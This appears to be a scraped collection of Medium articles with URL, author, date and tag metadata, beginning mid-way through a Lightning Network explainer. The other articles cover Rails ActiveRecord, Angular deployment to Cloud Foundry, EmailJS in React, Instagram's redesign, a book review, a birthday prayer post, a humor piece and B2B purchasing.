Alice and Bob send deposits to a special address. This address is jointly controlled by both of them using their two private keys. Both Alice and Bob create a special smart contract transaction (yes, there are smart contracts in bitcoin, but more about that in the next part). This transaction is valid, but not yet recorded in the blockchain. At first, the transaction contains information that Alice and Bob can get their deposits back. When Alice is paying to Bob, they both by mutual agreement update the information in these transactions. Alice agrees to get less than her initial deposit, Bob — more. One can say for the sake of analogy that they are exchanging debt acknowledging documents (IOU, I owe you). But unlike most IOUs issued by banks, LN payments are fully secured and guaranteed to be immediately redeemable. Like this, they can exchange small amounts (within the limits of their deposits) with each other, for as long as they both want. At any moment in time any party can decide to square their balances. Then Alice (or Bob) just records the final version of their transaction to the main blockchain and they both get their deposits back (taking into account all the intermediate payments).
Points 1–3 in these plan are called opening the payment channel. Points 4 and 5 — using the channels. Point 6 — closing the payment channel.
👍 Only two transactions are recorded in the main blockchain: sending the initial deposits (to open the channel), and the final transaction (to close the channel). All the intermediate payments are conducted without blockchain synchronisation. This makes payments within channels free and instant.
1.2. Network of payment channels
Payment channels between two people per se are not super useful. Ultimately, we do not transact regularly with most people. But…
💡 When multiple payment channels form a network, any two people in this network can transact between each other. If there is a path between two nodes in the network, they can pay each other, even if they are not directly connected. This is the main idea of Lightning Network.
Mainnet LN: the graph of payment channels as of 22.01.2018 (https://lnmainnet.gaben.win).
Basically, analogous to TCP protocol, most people will need to have only one open channel to transact with anyone else.
Of course, there are many open questions left: how to find a path between two people, and how to motivate nodes to process payments. But let’s start with the main issue: the problem of trust.
1.3. The problem of trust
As it often happens in cryptography, the system of payment channels is easy to imagine when all the parties trust each other. There is no need in deposits, keys, special transactions. We can all just write down who owns whom and how much.
The question is: how to implement a payment channel and a network of payments channels without trust. There are going to be three main issues.
Both Alice and Bob store their deposit in a joined wallet. If Bob refuses to sign transactions, then how will Alice ever return her deposit? When transacting over the payment channel, Alice and Bob create many versions of IOU transactions. Assume Alice is mostly paying Bob. Then in the last version of the transaction Bob should receive more than his deposit. But Alice can cheat and submit the very first valid transaction, pretending that she never owed Bob anything. What shall Bob do in this case? Assume Alice is paying Bob through Victor in the network of payment channels. How can they be sure that Victor will indeed pass the money, and not just steal it?
We will call these issues, respectively: “the problem of a joined deposit”, “the problem of the last transaction” and “the problem of intermediary”.
All of the mentioned issues can actually be resolved using only a couple of tricks. But let’s not get ahead of ourselves. First, we will introduce some required building blocks…
2. Smart contracts
Bitcoin supports a simple smart contract programming language, called Script. Every bitcoin transaction has a special field that contains a small script in this language. This script checks under which conditions the output of the transaction can be spend.
“To spend the output of transaction A” is in fact just a more technically correct way of saying “to spend bitcoins from address/wallet K, to which these bitcoins were delivered using transaction A”.
☝ In comparison with ethereum, capabilities of smart contract in bitcoin are much more limited. This is because of the fact that Script is not a Turing-complete language. E.g. Script does not allow cycles/recursion, and does not allow creating variables (there is no memory).
See the the link below to read a bit more about transactions structure and using scripts.
Let’s have a look at a couple of important operations of bitcoin scripts.
2.1. Authorisation
Perhaps the most standard part of every transaction is signature verification. Let transaction A fund some address K with some number of bitcoins. In order to later spend these bitcoins from K, one needs to prove that they have the key. This is checked using operation OP_CheckSig .
But we can additionally check something else. For example, we can check that a person has a secret number, the hash of which is equal to the given value. For that we need two operations: OP_SHA256 (computes the hash of the provided parameter) and OP_EqualVerify (checks equality). In part 4 we will discuss why would anyone need that.
2.2. Cooperation
Another common example of simple bitcoin smart contracts is based on the operation OP_CheckMultiSig . This operation allows to spend funds from an address only when signed with multiple keys.
This principle is used for so-called multiple signature (multisig) wallets. It works approximately like a bank deposit box closed with two locks. One key belongs to a client, the second one — to an employee of the bank.
2.3. Timing
Since quite recently bitcoin also supports an operation called OP_CheckSequenceVerify , which allows to spend the funds only after some fixed number of blocks.
For example, this can be used to discipline people unable to save money. Blockchain works better than any piggy bank: if someone decides to freeze the savings for some time, the money will be securely frozen.
But beyond this scenario, OP_CheckSequenceVerify and other components are actively used for payment channel implementation.
3. Payment channel implementation
Now with all the building blocks ready, we can describe how payment channels actually work.
In reality, there exists a whole variety of different payment channels, and the first one was proposed by Satoshi him/her/them-self. We will approximately follow the specification called Poon-Dryja payment channels (named after the two authors of the Lightning Network paper).
3.1. Opening the channel
Alice and Bob create a transaction/transactions transferring their money to a joined deposit address O. Assume that Alice transfers X bitcoins from her wallet, Bob transfers Y bitcoins. The funds from this joined deposit can only be spent when signed with two keys from Alice and Bob ( OP_CheckMultiSig ). The first trick is that they do NOT yet sign the transaction and do NOT yet submit this transaction to the blockchain. Otherwise Bob can refuse to cooperate and Alice will lose access to her money forever. Instead, Alice and Bob create two new refund transactions (A1 and B1 respectively). The input of these transactions is the money from the joint account (the output of transaction O). There are two outputs: X bitcoins is to be transferred back to Alice, and Y — back to Bob. In reality everything is a bit more complicated, but we’ll discuss it later. Then Bob signs the transaction A1 and gives it to Alice. Alice signs the transaction B1 and gives it to Bob. And now the initial deposit transaction O can be safely recorded in the main blockchain. No one is going to freeze anyones money. If Bob refuses to cooperate, Alice will just sign her transaction A1, record it in the blockchain and will return her deposit.
Deposit refund transactions.
Now “the problem of a joint deposit” is solved. The channel can be opened without any trust to the second party.
☝ An interesting fact. Just half a year ago (before the SegWit activation) signing an output of an unconfirmed transaction (point 4 above) was much harder, because of transaction malleability problem.
3.2. Using the channel
Payments within a channel are in fact implemented by rewriting transactions A1 and B1 with the new transactions.
Alice is paying Bob for a cup of coffee that costs C. Alice agrees that when closing the channel, she will receive not the original amount X, but X’=(X-C). Bob agrees to receive Y’=(Y+C).
New transactions A2 and B2 will look exactly the same as A1 and B1, but with new amounts. Any party can close the payment channel at any time, submitting the last version of the transaction to the blockchain.
How to make sure that Alice will not submit transaction A1 instead of transaction A2? This is solved with the second trick.
Every time Alice and Bob create new transactions, they also select a one-time private key. This key can be used by one party to collect the deposit of another party ( OP_CheckSig ). With every new payment i, Alice is revealing to Bob her previous private key AK(i-1) and creates a new key AKi. Bob does not accept payment without the previous key. If Bob knows Alice’s key, he can spend all the Alice’s money. But only if Alice decides to record an incorrect transaction to the blockchain. This scheme insures that Alice is always motivated to record only the last transaction to the blockchain.
Last small modification. To dispute the transaction Alice submits to the blockchain and to provide her key, Bob needs time. Because of that Alice is not going to get her deposit immediately after she closes the channel, but after some number of blocks T ( OP_CheckSequenceVerify ). For example, she may need to wait for 48 blocks, which is approximately 8 hours.
The final form of the transactions used for a payment channel.
If Alice signs one of her transactions (they are already signed by Bob) and submits this transaction to the blockchain, two scenarios are possible.
Alice submits her last transaction => Bob does not know the last private key AKi. This is a valid closure of the channel, everyone should get their unspent money. Alice will get hers after some time. Alice is trying to record her older transaction instead of the last one => she is trying to cheat. In this case Bob knows Alice’s key and he can use it to get all the Alice’s money. Obviously, Alice is not interested in this scenario.
So, “the problem of the last transaction” is also solved. Payment channel between two people is ready. Now it also becomes clear, what are the advantages and disadvantages of using payment channels.
👍 Advantages: 1. payments are instant and free, they do not create a burden on the main blockchain. 2. two parties do not have to trust each other. 👎 Disadvantages: 1. deposits are blocked for the whole time while the channel exists. 2. both parties should from time to time go online (at least once in T blocks).
👌 In practice, both disadvantages are important for payment channels between two people, but much less important in the context of Lightning Network. First point stops being a disadvantage when one channel can be used to pay to various different people.
Second point is also basically non-existent in LN, because one can outsource correctness verification to a third party. If Bob is not online when Alice is closing the channel, and some random David discovers that Alice is cheating, then both Bob and David can split Alice’s confiscated deposit.
One more small note before we move further. You may think that operating a payment channel requires a lot of bookkeeping: tracking and signing different versions of transactions, exchanging signed these transactions and also temporary keys. And you will certainly be right. Good news is: when properly implemented, this will be all happening behind the scenes, the users will just send the money and receive them.
4. Lightning Network
4.1. Payment channel though an intermediary
Let’s now assume that Alice and Bob do not have a payment channel between each other, but both have an open channel with Victor. Alice can safely transfer money to Victor, Victor can safely transfer money to Bob.
But how to make sure that Victor, once he receives the money, will indeed pass them further to Bob?
The idea here is going to be quite similar to the previous trick. But instead of one-time private keys, they will use a secret number.
When the payment is initiated, Bob selects a secret number S, computes a hash of this number HS, and transfers this information to Alice. HS can also be used as a virtual receipt. Alice creates a transaction AV that transfers the money to Victor, but only in case Victor shows a secret number S. For that she uses a script checking the hash of the provided number and comparing it to the value of HS (this is where we need OP_SHA256 and OP_EqualVerify ). Victor is creating a similar transaction VB transferring money to Bob, but only if Bob provides a secret number S. Bob sees that he will be able to get the money from Victor and shows him his secret number S. Now Victor can prove to Alice he transferred the money and successfully receive transaction AV.
There are couple of scenarios possible.
First, it does not make sense for Victor to cheat. By design, if he does not pass the money to Bob, he will not get the money from Alice. But Bob can decide to cheat and not to reveal the secret key to Victor. To get the money Bob will need to close the channel with Victor and to submit transaction VB to the blockchain. But to actually spend the money, Bob will need to show his secret number anyway. And as the blockchain is public, Victor will also see it.
There is a couple of non-trivial technicalities with selecting the right timeframe for Alice, Victor and Bob to resolve possible conflicts. But these technicalities are way out of scope of this introductory article. If interested — google Hash Time-Locked Contracts (HTLCs).
4.2. Routing
In practice Alice and Bob can be connected through any arbitrary number of unknown/anonymous intermediaries across the whole world. The problem of finding the most optimal path of intermediaries in a graph of network nodes is called a routing problem.
Geographical distribution of bitcoin testnet nodes (https://explorer.acinq.co/#/).
The routing problem is in fact an area of active research at the moment. Optimal path depends on many dynamic factors: the availability of nodes, network topology, channels throughput, intermediaries fees.
Without going into too many details, finding the path and passing the payments in LN is currently done based on Onion routing — a technology for anonymous peer-to-peer routing, which is also used, for example, in Tor.
Everything is decentralized, the traffic is encrypted. No intermediary knows from whom the bitcoins come and where they go. One more advantage follows from this.
👍 Advantages: Lightning Network is much more anonymous than bitcoin itself. First, an absolute majority of the transactions are never recorded in a public ledger, these transactions are only visible to a handful of nodes. Second, even among the nodes involved in routing, only the first and the last node knows the source and the destination of the payment.
4.3. Fees economy
Only two major questions left.
Question number 1: why would an intermediary node process any payments from someone else?
First of all, because good connectivity allows them to use LN more efficiently. Second, because they receive fee: usually very small, but motivational enough.
At the moment the network is mostly supported by enthusiasts and the fees are almost zero: 1 satoshi, or ~0.01 cents for every intermediary node.
👍 The “bandwidth” of payment channels is a much less valuable resource than the block size. Channels are cheap and easy to open. Because of that fees in LN are orders of magnitude smaller than the fees in the main bitcoin blockchain.
Question number 2: and what about the miner fees payed on the main blockchain to open/close payment channels?
Indeed, these fees can be quite large, reaching sometimes tens of dollars. Therefore, payments are going to be cheaper if the channels are open/closed rarely.
This in turn motivates people to open channels with larger deposits, and to use channels bi-directionally: not only for outgoing payments, but also for incoming ones.
Example: I open a channel and fund it with 1000 dollars to use it for only outgoing payments. The turnover in the channel over the lifetime will be exactly 1000 dollars, and I will pay ~20 dollars in fees to open and close the channel. This results in 2% fees. Slightly lower than visa and mastercard, but still not as low as I would like.
The situation changes dramatically when the I start using Lightning to the fullest: deposit larger amounts and also start receiving money through channels. Then, depending on the proportion of spent/received money, the channel can be open forever and the fees will be converging to almost zero in the limit.
4.4. Criticism
It is easy to find lots of criticism of second layer solutions in general and of Lightning Network in particular. Some points actually deserve attention, some are outdated myths. Here is a couple of examples.
1. Using LN leads to centralization: users benefit from connecting to large hubs, and few of these hubs can control all the traffic.
This is a valid concern and deserves attention, but the risks are not huge. First, it is economically profitable and very simple to run a new node bypassing large hubs. Second, routing algorithms should balance the traffic among all the possible paths. And third, at least for the moment we do not see this centralization happening. Going forward, I hope the optimal topology is going to be encouraged by wallet software itself.
2. Low channel throughput will result in LN congestion, fees rising, and the situation will be as bad as in the main bitcoin blockchain.
Again, as soon as this starts happening, people will have larger economic incentives to run their own nodes. Unlike the block size, the number of nodes/channels is almost unlimited.
3. Efficient and effective routing on large number of peer-to-peer nodes is impossible. Especially when accounting the cost of opening new channels.
These problems are far-far-far into the future. But the research in this direction is already happening (example). The community will come up with something.
4. Channels need to be often opened and closed. Fees spent on that will be high, and LN will become more and more expensive.
Actually, this is an outdated myth still circling around. Early proposals of payments channels indeed were uni-directional and could last only for a fixed time. Now these problems are both solved.
5. You need to be online to use LN.
Partly true. Unlike early LN implementations, there is no need to be always online: other participants can monitor my open channels and verify that no one is cheating. But you indeed need to be online to send/receive money. This is of course a limitation, but a much less significant one.
6. LN is not compatible with cold storage.
This is a very good point and valid concern. Funds locked in payment channels are controlled by the wallets being online (hot wallets). So additional security for nodes will be required to protect against hackers.
7. LN transactions are not as safe as on-chain transactions.
LN payments are indeed more risky than on-chain transactions. But only in case of a successful 51% attack. The risk of it is very-very small.
5. LN today
The most important thing you need to know: Lightning is already here and it really works.
More than a thousand nodes in bitcoin testnet and more then three hundred nodes (growing every day) in mainnet are already processing transactions and testing different software today.
Co-founder of Lightning Labs does not recommend running mainnet nodes for the moment.
As for software, there are three main implementation: lnd from Lightning Labs, c-lightning from Blockstream, eclair from ACINQ. These teams have been working for years to create standard specifications for nodes interactions called Lightning Network Specifications (BOLTs). And recently, in the end of 2016, they performed massive successful payment testing. All three implementations proved to be compatible.
At the moment, you can pay with real bitcoins using LN in only three or four online shops. But this is a whole three or four shops more than just a month ago, so this is already a great success 😊
Of course, the moment of ubiquitous transition from on-chain bitcoin payments to off-chain payments is still far away. A huge work should still be carried out by developers of wallets, payment gateways, exchanges, online stores. And, of course, by users themselves.
The most interesting in this story is that faster, cheaper and more anonymous transactions — is only the beginning of the story! Soon we will see even more anonymity, atomic swaps, decentralized exchanges and many more cool things. The future is exciting! ⚡
More technical details about LN: 1, 2, 3, 4, 5. | https://medium.com/lightningto-me/lightning-network-45b4b2119d97 | ['Dmitry Laptev'] | 2018-10-15 19:18:54.914000+00:00 | ['Lightning Network', 'Litecoin', 'Blockchain', 'Cryptocurrency', 'Bitcoin'] |
Learning more about Ruby on Rails ActiveRecord | Being Efficient with Database Calls
One of the key takeaways I got from Kevin’s course was that the way in which we write our code dictates how ActiveRecord interacts with the database. When working on projects at Flatiron School, my focus was on learning basic concepts, rather than efficiency or performance. Those concepts weren’t even on the radar.
However, the more I apply for jobs and talk to startup founders, I realize understanding the challenges of scaling is paramount in being able to contribute usefully to the conversation that goes into something like the product roadmap.
For example: If I have a portfolio project running Rails and accessing a database on localhost with a Class of objects named Gayageum and I seed it with 100 instances.
The way I would change a common attribute (e.g. ‘color’) in every instance of Gayageum is by, first, getting all my Gayageum objects, assigning them to a variable. Then, using an enumerator (like each or map ) to iterate through each item, and setting the attribute to the new value. Let’s do this in Rails console.
2.6.1 :001 > allMyGayageum = Gayageum.all
(0.7ms) SELECT sqlite_version(*)
Gayageum Load (0.2ms) SELECT "gayageums".* FROM "gayageums" LIMIT ? [["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Gayageum id: 101, name: "bgjqqwgpjq", color: "indigo", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 102, name: "ydswvodwcv", color: "blue", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 103, name: "carywjthmi", color: "yellow", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 104, name: "yvbdhsfdci", color: "ivory", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 105, name: "fmpdnjyzkk", color: "azure", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 106, name: "fquiretgrl", color: "fuchsia", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 107, name: "sscjdjmttb", color: "tan", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 108, name: "gmnsdbdadc", color: "fuchsia", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 109, name: "kjicjaqnur", color: "orchid", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, #<Gayageum id: 110, name: "ggkmxwtvis", color: "lime", created_at: "2020-05-16 21:34:57", updated_at: "2020-05-16 21:34:57">, ...]>
If you’ll notice, there’s a SQL log statement right after my command which is SELECTing records from the database. Later, this SQL debug logging feature will be useful. It will enable us to see the difference between different ActiveRecord methods and the SQL they generate for you. You can turn this on by entering (more info here) in the console:
ActiveRecord::Base.logger = Logger.new(STDOUT)
It will return the instance of the Logger object: | https://medium.com/swlh/learning-more-about-ruby-on-rails-activerecord-a3fee0ecad50 | ['Danny Lee'] | 2020-05-17 16:01:19.018000+00:00 | ['Gayageum', 'Activerecord', 'Flatiron School', 'Database', 'Beginner'] |
How to deploy Angular app as a static site on the cloud? | Delivery pipeline we will do
In this article, you will learn how to deploy an Angular app as static site using Staticfile buildpack on Cloud Foundry in continuous deployment approach.
There are 2 main parts :
Deploy Angular App using CLI Deploy using delivery pipeline
I will use IBM Cloud DevOps Services for automated deployment.
Deploy Angular app using CLI
This tutorial demonstrates the processes to build and push your angular app using Cloud Foundry CLI.
Assume we have an Angular project myApp .
We don’t need to push the whole project folder to Cloud Foundry, we just need to push the compiled code/library. The compiled code will be generated in the dist folder with this command (use --prod option for the production environment) :
ng build --prod
Now, we will tell to Cloud Foundry how to deploy the app.
Create App Manifests
When Cloud Foundry deploys your app, it will look for a manifest file in the root of your app directory. We can specify the following configuration in a manifest.yml :
We indicate to Cloud Foundry to only take the dist/ folder (path) and that the app will use a Statifile buildpack (buildpacks).
See Cloud Foundry documentation for all App Manifest Attribute Reference.
Create Staticfile
I advise you to include a Staticfile in the dist folder of your project to apply a configuration changes to NGINX webserver, which the buildpack provides.
Here we indicate to keeps browser-visible URLs (pushstate) to directly access to some/path If not, you will get a 404 nginx error . Moreover, we force HTTPS in this example.
See Cloud Foundry documentation for the Staticfile configuration.
Copy Staticfile in /dist folder
To include the Staticfile inside the dist/myApp directory, add the following lines in the project asset configuration in angular.json file. Angular will copy these files in the dist/ folder when building your project (while ng build command).
Do again a ng build --prod to generate the Staticfile in the dist folder.
Here is how our Angular project should look like :
── myApp
├── Staticfile
├── angular.json
├── dist
├── manifest.yml
├── node_modules
├── [...]
├── src
Push to Cloud Foundry
Now the dist folder contains the Staticfile - because angular created it for us. Let’s push our app to Cloud Foundry :
cf push myApp
In a few moments, your app will be normally available in the cloud as a static file. Good job !
In the newt part, we will explain how to continuously deploy this app on IBM Cloud.
Delivery pipeline
In this part, we will focus on the build and deploy bash script, we will use to deploy an angular app on IBM Cloud DevOps Services.
The delivery pipeline is composed of 2 stages :
BUILD stage: compile our app and create the dist folder
DEPLOY stage : push our app to Cloud Foundry
Create a Toolchain
We will assume we already have a toolchain Devops.
To know how to create a toolchain refers to create a custom toolchain.
Add build stage
In the Input of the BUILD stage fill in your Git repository code and the branch you want to be based on, then Save.
Input of the BUILD stage
In the Jobs of Build stage, add a build job and write the following code in the build script section :
The script use nvm to install the node version of your choice and compiles the code in the dist directory.
Input build & build job
Notes: if you fill in Build archive directory section, dist/myApp will be the output of your stage and it can be provided as an input to the next stage (but it will not contain the manifest file in our case).
Add deploy stage
Let’s add a deploy stage.
Choose Build artifacts as an Input of the Deploy Stage and select Cloud Foundry as Deployer Type. Write the following code into Deploy script section :
Save the stage and run the toolchain to deploy your app in the cloud !
You should have a similar screen and can access your app on the route(s) you provide(s) on the manifest.yml file (myApp.domain.com) :
Summary
We demonstrate how to deploy Angular app as a static site using CLI and IBMCloud delivery pipeline by only pushing the dist folder into Cloud Foundry. | https://medium.com/@adrienarcuri/how-to-deploy-angular-app-as-a-static-site-on-the-cloud-8fc988e5642b | ['Adrien Arcuri'] | 2019-05-27 11:26:00.748000+00:00 | ['Static Site', 'Continuous Delivery', 'Ibm Cloud', 'Angular', 'Cloud Foundry'] |
Happy June 16th Birthday from Birthdaysmessenger.com | Happy June 16th Birthday from Birthdaysmessenger.com and helpusjesus.quora.com 🎉💐🎁 Today is #Speak #It #Out #Day. FATHER GOD, YOU are our Provider, Healer, Defense, Refuge and a very Present Help in a time of trouble. Thank YOU for bringing us through things that we have no control over. Thank YOU for forgiveness of our sins, food, shelter, clothing, functional limbs, eyes that can see, and everything else that we are blessed to have today. Continue to provide our needs, bring us from any type of worry, stress, addiction or depression, as we focus on YOU. We want what YOU have for us, because YOU care about every area of our lives. Order our steps, guide and correct us, so we can better serve YOU, and others. Invade our conditions, situations and circumstances, as we study and obey YOUR Word💒Which is able to Save our souls.We want to experience all of YOUR Many Benefits 2 Timothy 3:16-17🙏 Heal our World, FATHER GOD🌎 2 Chronicles 7:14 Today's #Celebrity #Birthdays include
Anna Cathcart, Lauren Taylor, Ha joo Yeon, Marissa Rachel, Gabriella Whited, Camila Morrone, Zoe Seliktar, Amanda Rach Lee, MC Ren, Bryce Vine, Dannie Riel, Sabrina Cereseto, Alfredo Flores, Sidney Fullmer, Missy Peregrym, Jacy Leeanne, Brandon Armstrong, Betty Idol, Lydia Mace, Hilary Farr, Lauren Southern, and Phil Mickelson
#Birthday #Gifts #birthdaywishes #birthdaycake #HappyBirthday
Shirtailors.com | https://medium.com/@investbuyown/happy-june-16th-birthday-from-birthdaysmessenger-com-a6fda8c24ef7 | ['Pastor Jason Ridgeway'] | 2021-06-16 11:28:21.378000+00:00 | ['Birthday', 'Success', 'Happiness', 'June 16', 'Prayer'] |
Creativity Unleased ( Book Review ) | Title — Creativity Unleased
Author — Gopal Krishnaswamy
Published by — Bloomsbury
Spiritual guru Osho says, “To be creative means to be in love
with life. You can be creative only if you love life enough that you want to enhance its beauty, you want to bring alittle more music to it, a little more poetry to it, a little more
How beautiful and true is that ?
I am a creative person. I have loved indulging in painting , poetry , writing articles , and creative handcrafts .
So to be honest I liked this book.
The cover is pretty , minimalistic and eye catching.
The capacity to produce something is one of the best cognitive skills human possess but that doesnot mean high crreativity is equal to high IQ for creativity needs Intuition flash backs more than analyzing.
Author tells spend your energy in some activity that is for pleasure which will use excess energy and leave no energy for anger .
This book deals with more than approach towards creativity . It introduces the concept of being mindful which is most popularly known as the MINDFULLNESS MEDITATION that helps us concentrate in the present.
Author has efficiently talked about neuroplasticity and brain structure too.
Author has described the roles of honchos of the world like Einstein , Kekule and many more. The short stories were light and enjoyable to read.
There are steps told which can be used to become more mindful of our creative approach and become more productive.
The casual frolic but eye catching presentations in each page make the read light hearted and easy to grasp along with the quick quotes of famous scientists and guides make this book a beautiful non fiction full of facts and thoughtful concepts for kids too.
Practicing mindfulness helps us to get connected with ourselves deeply that opens our mind to creative thinking and become leess rigid in our approach to unlease a wide horizon of creative ideas to cherish .
Simple , mystic , Maverick , Nature lover View all posts by Camelia | https://medium.com/@Solitudeandbook/creativity-unleased-book-review-81f9bad56883 | ['Solitude', 'Books', 'Camelia'] | 2019-02-12 13:17:11.441000+00:00 | ['Mindfulness', 'Brain', 'Green Energy', 'Creativity', 'Meditation'] |
Diskusi rasa Ramadhan Berbagi | in Both Sides of the Table | https://medium.com/kapecollective/diskusi-rasa-ramadhan-berbagi-b78664968667 | ['Kape Collective'] | 2019-05-31 22:47:25.353000+00:00 | ['Charity', 'Kapecollective', 'Events', 'Community', 'Ramadhan'] |
Is the New Instagram Update a New Form of Dark Pattern? | Image by natanaelginting on freepik
In the last days, the most recent Instagram update has been in the news for the worst reasons. Many users and influencers have publicly spoken out their dissatisfaction, namely James Charles, who, in a rant video, advised his followers not to update their apps.
At the center of these negative opinions is the new layout, where the basic Instagram options — camera and notifications — have been removed from the bottom menu bar and instead are displayed in the upper-right corner of the home page, next to the direct message button.
Author/Copyright holder: Instagram. Copyright terms and license: Fair Use.
The new bottom menu features the “Reels” (mimicking Instagram’s competitor TikTok) and “Shop” button. This means that these two options are now easily accessible on every screen, while the camera and the notifications button are inaccessible in some tabs.
Instagram is very explicit with its intentions on its blog: to prioritize Reels and its e-commerce platform over traditional posts.
The company states that this change was taken in order to keep up with the fast-paced evolution of technology use patterns. However, this approach seems to be forcing the users to have new intentions when using the app and not otherwise. It even makes me wonder if we are facing a new type of dark pattern.
In my recent post about Dark Patterns, I showed how Instagram uses the Roach Motel pattern. Indeed, we already know this company has no problem in resorting to dark patterns to reach their goals. However, if Instagram is being honest about its intentions with this update, we cannot consider it a dark pattern, right?
The issue is the new bottom menu layout takes advantage of years of muscle memory developed by the users, who now have a high probability of accidentally clicking on the Reels or Shop button when looking for the app’s traditional features.
Certainly, Instagram has a competent UX Team who is able to understand the real users’ needs and motivations. It’s very possible they knew users are not interested in the same features the company is aiming to promote. Maybe this is the reason why Instagram’s official blog post seems to be anticipating users’ disappointment:
Author/Copyright holder: Instagram. Copyright terms and license: Fair Use.
What about you, what do you think about Instagram’s new update? Do you also consider it unfair for users or do you find it a good business decision? | https://uxplanet.org/is-the-new-instagram-update-a-new-form-of-dark-pattern-1776697cffd8 | ['Mariana Vargas'] | 2020-11-19 11:12:20.132000+00:00 | ['Visual Design', 'UX', 'Creativity', 'Design', 'Technology'] |
Why You Should Wear A Kayak As A Hat | Advantages:
You always have shade. You can even share the shade with shorter friends.
You never know when you might happen to walk by an inviting body of water. You’re ready.
“Chick Magnet” (for you single dudes.)
Being on the cutting edge of a new trend. No more “Boring Bobby.”
Fits way better than a canoe.
Provides plenty of personal space when you have to wait in a line (or a queue when you’re in England.)
Makes you appear “sporty.”
Allows you to read your tablet outside during strong sunlight conditions.
Increased neck muscle strength.
You can pretty much laugh at the rain. | https://medium.com/mark-starlin-writes/why-you-should-wear-a-kayak-as-a-hat-5a6cbf72a457 | ['Mark Starlin'] | 2020-11-29 13:02:55.513000+00:00 | ['Fashion', 'Kayak', 'Humor', 'Living The Sporty Life', 'Trends'] |
Sending Emails via Form Submit in React | Sending Emails via Form Submit in React
EmailJS is a very cool and simple tool that allows you to send emails from your web applications. This is a guide for how to do it in React!
Step 1: The EmailJS Portion
Head over to emailjs.com and click “Sign Up Free” in the top right corner. Go to your dashboard, click “Email Services”, then add the email service you would like to use.
I deleted this service to nobody steals my Service ID :D
3. Click “Connect Account” to connect your Gmail to EmailJS, then click “Create Service”. You should get a test email to confirm everything is working properly.
4. Click on “Email Templates”, then “Create New Template”
5. Create your email template! You can interpolate any field from your form by putting its “name” attribute in double curly braces.
Step 2: The Code Portion
Run npm install emailjs-com --save in your project directory. Import EmailJS to your form file by typing import emailjs from “emailjs-com” at the top. Create this onSubmit function for your form.
sendEmail = (e) => {
e.preventDefault();
emailjs.sendForm('YOUR_SERVICE_ID', 'YOUR_TEMPLATE_ID', e.target, 'YOUR_USER_ID')
.then((result) => {
console.log(result.text);
}, (error) => {
console.log(error.text);
});
} ... <form onSubmit={this.sendEmail}>
...
...
...
</form>
4. Change YOUR_SERVICE_ID , YOUR_TEMPLATE_ID , and YOUR_USER_ID to your specific information. Do not change e.target as this argument is selecting the form you are submitting.
YOUR_SERVICE_ID can be found by clicking “Email Services” on your EmailJS dashboard.
YOUR_TEMPLATE_ID can be found by clicking “Email Templates” on your EmailJS dashboard.
YOUR_USER_ID can be found by click “Integration” on your EmailJS dashboard.
Step 3: Test It Out!
Everything should be working now! EmailJS has more options that you can use if you upgrade your service. The free service is great for small apps! | https://medium.com/@travisprol/sending-emails-via-form-submit-in-react-8d87e55eca3a | ['Travis Prol'] | 2020-12-19 15:14:23.584000+00:00 | ['React', 'Email', 'JavaScript', 'Programming'] |
Who Really Makes the Purchase in B2B Buying? — Know the Decision Makers | Buying and selling a product or service is not as straight-forward as it seems. There are several emotional as well as psychological aspects that play a significant part in confirming the purchase, and that usually goes unnoticed. It’s vital that companies take stock of purchasing decisions that involve less perceived factors to deepen their understanding of buyer roles and expand engagement across the target audiences. To start with, learn more about the various steps involved before customers make the final decision, and find out how that can be applied to develop an exceptional sales methodology.
The Levels of Buying Decisions for Business Purchases
A recent study by the Australia Post observed that there are four major channels contributing to around 92% of an individual’s purchase decision. These include effective direct mail campaigns, television advertising, flyers or catalogues and attractive websites. In order to ensure that the buying decision process goes smoothly, accurate information is required for interested clients; that means there should be a clear process for connecting them with the relevant team. Decision making is significantly increased if you provide additional resources like guidance manuals or FAQ sections on the website to readily resolve their concerns. A proactive customer service team will further benefit from the consultative selling aspect of business decision making thereby having major influences on business buyers.
Source: shanepatrickjones.com
Problem Recognition
The initial stage of problem recognition occurs when a consumer recognizes that there is a disparity between their ideal state of affairs versus the current state, i.e. they have a requirement that must be fulfilled to experience fulfilment. It is at this point that a business can maximize engagement, once they have a clear understanding of their target demographic.
Some of the more popular strategies used by companies include penetration pricing for new products in the market or an advertising campaign to draw attention to a specific brand. For example, a college student needs more laundry detergent, and decides to make a run to the nearby supermarket for a discounted deal on the product. Typically, the problem recognition happens when a consumer faces internal stimuli (e.g. stress, anxiety, hunger) or external stimuli (e.g. peer pressure, glamourous social media ads, word of mouth).
Information Search Process
The next step is when consumers start searching for the best possible solution to tackle their problem. Here’s where your sales team can accelerate the process by sharing helpful information to sway the potential client in your favour. Gaining a deeper understanding of the specifications required by the buyer is also valuable, in order to build tailored strategies via content marketing. For instance, your website can include pertinent keywords in line with potential consumers’ expectations. In the age of social media and convenient access to digital resources, it is essential that your website and social media channels possess a unique visual appeal.
Evaluating Available Alternatives
Consumers have an idea about the kind of product or service they are seeking, and will actively hunt for a great deal. This selection process is based on the pricing of a product, individual tastes, cultural background, the quality promised, etc. Consumers will take the help of immediate networks such as friends and family, read through online reviews about the concerned brand and ultimately, pick the commodity that best meets their criteria. At the business side, you can explore means of promoting the outstanding product or service you offer with evidence such as customer testimonials, internal surveys and independent reviews of the brand. For instance, this graph demonstrates organic growth in website traffic over 3 months on 500 sites after reviews were added.
Purchase Decision and Purchase
Before the buyer can come to an arrangement with their shortlisted supplier, there are multiple negotiations to narrow down the best price, method of payment and any available discount. There is also a confirmation of the preferred date of delivery and other contractual obligations, especially if this is a bulk order.
Once the order is completed and delivered on time, the client may explore additional stages in the process including a review or evaluation procedure to assess the overall performance and value of the product, and decide whether to remain with their supplier for future requirements. In case the quality of the product or service does not match what was promised, there may be certain fines or penalties imposed on the company.
Source: McKinsey & Company
